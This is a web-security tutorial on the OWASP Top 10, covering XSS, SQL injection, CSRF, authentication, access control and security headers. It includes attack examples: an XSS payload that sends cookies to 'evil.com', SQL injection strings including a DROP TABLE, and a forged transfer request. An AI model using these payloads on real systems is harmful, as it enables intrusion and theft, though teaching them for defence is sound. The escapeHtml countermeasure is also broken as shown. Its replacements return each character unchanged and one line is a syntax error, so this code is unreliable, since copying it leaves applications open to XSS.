What is OWASP Top 10
OWASP (Open Web Application Security Project) publishes a ranking of the most critical security risks for web applications.
Top 10 (2021):
- Broken Access Control
- Cryptographic Failures
- Injection
- Insecure Design
- Security Misconfiguration
- Vulnerable and Outdated Components
- Identification and Authentication Failures
- Software and Data Integrity Failures
- Security Logging and Monitoring Failures
- Server-Side Request Forgery (SSRF)
XSS (Cross-Site Scripting)
An attack that injects malicious scripts into web pages.
Attack Example
<!-- Vulnerable code -->
<p>Search results: <?php echo $_GET['query']; ?></p>
<!-- Attack -->
/search?query=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
Countermeasures
// 1. Escape on output
function escapeHtml(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// 2. Use template engine's auto-escaping
// React: Escapes by default
<p>Search results: {userInput}</p>
// 3. Content Security Policy
// HTTP header
Content-Security-Policy: default-src 'self'; script-src 'self'
Types of XSS
| Type | Description |
|---|---|
| Reflected | Immediately reflects URL parameters, etc. |
| Stored | Saved to DB, executed on display |
| DOM-based | Occurs in client-side JS |
SQL Injection
An attack that injects malicious SQL into queries.
Attack Example
-- Vulnerable code
SELECT * FROM users WHERE id = '$userId'
-- Attack: userId = "1' OR '1'='1"
SELECT * FROM users WHERE id = '1' OR '1'='1'
-- → All users are retrieved
-- More dangerous attack: userId = "1'; DROP TABLE users; --"
Countermeasures
// 1. Prepared statements (parameterized queries)
// Bad example
const query = `SELECT * FROM users WHERE id = '${userId}'`;
// Good example
const query = 'SELECT * FROM users WHERE id = ?';
db.query(query, [userId]);
// 2. Use an ORM
// Prisma
const user = await prisma.user.findUnique({
where: { id: userId }
});
// 3. Input validation
if (!Number.isInteger(parseInt(userId))) {
throw new Error('Invalid user ID');
}
CSRF (Cross-Site Request Forgery)
An attack that sends requests without the user’s intent.
Attack Example
<!-- Attacker's site -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" />
<!-- If user is logged into bank.com, cookies are sent and transfer is executed -->
Countermeasures
// 1. CSRF token
// Server: Generate token and save to session
const csrfToken = crypto.randomBytes(32).toString('hex');
req.session.csrfToken = csrfToken;
// Embed token in form
<input type="hidden" name="_csrf" value="{{csrfToken}}" />
// Validation
if (req.body._csrf !== req.session.csrfToken) {
throw new Error('CSRF token mismatch');
}
// 2. SameSite Cookie
Set-Cookie: session=abc123; SameSite=Strict; HttpOnly; Secure
// 3. Custom header verification (AJAX)
// Cross-origin requests cannot send custom headers
X-Requested-With: XMLHttpRequest
Authentication Failures
Vulnerable Password Management
// Bad example
const hash = md5(password); // MD5 is weak
// Good example
const hash = await bcrypt.hash(password, 12);
Session Management
// Regenerate session ID after login
req.session.regenerate((err) => {
req.session.userId = user.id;
});
// Prevents session fixation attacks
Multi-Factor Authentication (MFA)
| Factor | Type | Example |
|---|---|---|
| Factor 1 | Knowledge | Password |
| Factor 2 | Possession | One-time password |
| Factor 3 | Inherence | Biometric authentication |
Broken Access Control
IDOR (Insecure Direct Object Reference)
// Vulnerable code
app.get('/api/users/:id/profile', async (req, res) => {
const user = await db.users.findById(req.params.id);
res.json(user); // Anyone can access
});
// Countermeasure: Authorization check
app.get('/api/users/:id/profile', async (req, res) => {
if (req.user.id !== req.params.id && !req.user.isAdmin) {
return res.status(403).json({ error: 'Forbidden' });
}
const user = await db.users.findById(req.params.id);
res.json(user);
});
Horizontal and Vertical Privilege Escalation
| Type | Description |
|---|---|
| Horizontal privilege escalation | Access to other users’ data (User A → User B’s data) |
| Vertical privilege escalation | Access to higher privilege functions (Regular user → Admin functions) |
Security Headers
# Nginx configuration example
add_header X-Content-Type-Options "nosniff";
add_header X-Frame-Options "DENY";
add_header X-XSS-Protection "1; mode=block";
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains";
add_header Content-Security-Policy "default-src 'self'";
add_header Referrer-Policy "strict-origin-when-cross-origin";
| Header | Purpose |
|---|---|
| Content-Security-Policy | XSS prevention, resource restrictions |
| X-Frame-Options | Clickjacking prevention |
| X-Content-Type-Options | MIME sniffing prevention |
| Strict-Transport-Security | Force HTTPS |
| Referrer-Policy | Control referrer information |
Input Validation
// Server-side validation (required)
const schema = z.object({
email: z.string().email(),
age: z.number().min(0).max(150),
username: z.string().min(3).max(20).regex(/^[a-zA-Z0-9_]+$/),
});
const result = schema.safeParse(req.body);
if (!result.success) {
return res.status(400).json({ errors: result.error.issues });
}
Security Checklist
| Check | Status |
|---|---|
| Validate all input on server side | □ |
| Escape on output | □ |
| Use parameterized queries | □ |
| Implement CSRF tokens | □ |
| Properly hash passwords | □ |
| Force HTTPS | □ |
| Set security headers | □ |
| Implement authorization checks | □ |
| Don’t leak sensitive information in error messages | □ |
| Check dependencies for vulnerabilities | □ |
| Record security logs | □ |
Summary
Web security is an important element that should be considered from the early stages of development. Use OWASP Top 10 as a reference to understand major vulnerabilities and countermeasures, and build secure applications. Security is not a one-time setup; it requires continuous monitoring and updates.
← Back to list